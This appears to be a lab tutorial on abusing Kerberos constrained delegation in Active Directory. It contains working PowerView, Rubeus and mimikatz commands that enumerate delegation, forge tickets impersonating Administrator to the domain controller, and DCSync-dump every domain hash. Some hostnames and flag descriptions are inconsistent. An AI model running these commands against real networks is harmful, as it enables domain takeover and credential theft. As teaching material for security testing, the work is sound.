Kerberos Constrained Delegation Abuse /AllowedToDelegateTo

Kerberos Delegation enables an application to access resources hosted on a different server; for example, instead of giving the service account running the web server access to the database directly, we can allow the account to be delegated to the SQL server service. Once a user logs into the website, the web server service account will request access to the SQL server service on behalf of that user, allowing the user to get access to the content in the database that they’ve been provisioned to without having to assign any access to the web server service account itself.

• Unconstrained Delegation: This is the most permissive option. The service account can request access to any resource on behalf of any user, which means it can potentially access many different resources. It is risky because if the service account gets compromised, the attacker gains access to multiple resources.

• Constrained Delegation: This is a more secure option. You can specify which specific resources (services) the service account is allowed to access on behalf of users. This limits the access to only the specified resources, reducing the risk if the service account is compromised.

• Resource-based Delegation:or groups for particular computer objects in Active Directory. This type of delegation offers even more control over access permissions

Below Scenerio, the attacker compromises a user account or system that has been granted Constrained Delegation to the Domain Controller’s cifs/ldap service, they can potentially escalate their privileges and gain control over the Domain Controller,

• You can refer to the lab creation guide : Kerberos Delegation Lab Creation

  How Attack Works

Constrained Delegation when enabled on a service account, allows access only to specified services on specified computers as a user

msDS-AllowedToDelegateTo :

For a given computer or user account, this attribute specifies the list of service principal names (SPN) corresponding to Windows services that can act on behalf of the computer or user account. So here user fcastle is allowedtodelegate to impersonate as any user to the SPNs set on DC01 as show in the screenshot **[ i.e ldap and cifs ]

To begin, we will use the Get-DomainUser or Get-NetUser function from PowerView to enumerate user accounts that are trusted for constrained delegation in the domain

Import .\PowerView.ps1

You need the user distinguished name CN= to check for delegation Get-DomainUser "fcastle"

get-netuser | ?{$_.cn -like "Frank Castle."} | select msds-allowedtodelegateto  -ExpandProperty msds-allowedtodelegateto

We can see that the user fcastle is configured for delegating the LDAP and CIFS service to the Domain Controller DC01. CIFS is a network file-sharing protocol commonly used in Windows environments to access and share files and directories Therefore, any threat actor gaining control over fcastle can request a Kerberos ticket for any user in Active Directory and use it to connect to DC1 over CIFS or LDAP .

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

• Service for User to Self (S4U2self - Allows a service to obtain a forwardable TGS to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - T2A4D UserAccountControl attribute.

• Service for User to Proxy (S4U2proxy) - Allows a service to obtain a TGS to a second service on behalf of a user. Which second service? This is controlled by msDS-AllowedToDelegateTo attribute. This attribute contains a list of SPNs to which the user tokens can be forwarded.

---

Attack Demonstration

So to perform this attack we will be using Rubeus.exe tool which is a C# toolset for raw Kerberos interaction and abuses.

• it has s4u abuse extension which we can use to perform this attack

So as we saw previously we are allowed to delegate to :

• ldap
• cifs

We will be showing how to abuse both of the services to compromise the domain controller.

• Now we have to generate rc4 hash of the user using rubeus ( RC4-HMAC An encryption type based on the RC4 encryption algorithm that uses an MD5 HMAC for checksum. It is included in the Windows implementation of Kerberos.)

.\Rubeus.exe hash /user:fcastle /password:Password123 /domain:crt.local

/rc4:58A478135A93AC3BF058A5EA0E8FDB71

cifs/dc01.crt.local :

cifs : its an file sharing protocol use to share files from one host to another over the network

• Now we will impersonate as Administrator user and request a ticket to cifs service

./Rubeus.exe s4u /user:fcastle /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /domain:crt.local /msdsspn:cifs/dc01.crt.local /ptt

/rc4: flag is used to provide user fcastle account.

/impersonateuser: User that will be impersonated by fcastle.

/msdsspn: A valid msDS-AllowedToActOnBehalfOfAnotherIdentity value for the account. Here, the domain controller

/ptt: Injects the resulting ticket in the current terminal session

• We have successfully imported the cifs service ticket , dir the dc

dir \\dc01.crt.local

net use Command to connect it to the remote host

• Allocate the drive name net use O: \\dc01.crt.local

• to check the share status net use

• to connect it to the allocated share O:

We have successfully owned the Domain Controller

even you can use psexec to connect it or powershell invoke command

$session = new-pssession -computername m3webaw
invoke-command $session {whoami}

ldap/vdc01.endark.local

• Impersonating as Administrator user and getting a ticket for ldap service :

./Rubeus.exe s4u /user:fcastle /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /domain:crt.local /msdsspn:ldap/dc01.crt.local /outfile:dc.kirbi

• Next we will just use the ticket with mimikatz to perform dcsync attack to dump all the hashes in the domain :

.\mimikatz.exe "kerberos::ptt dc_ldap_dc01.crt.local.kirbi" "lsadump::dcsync /all /csv" "exit"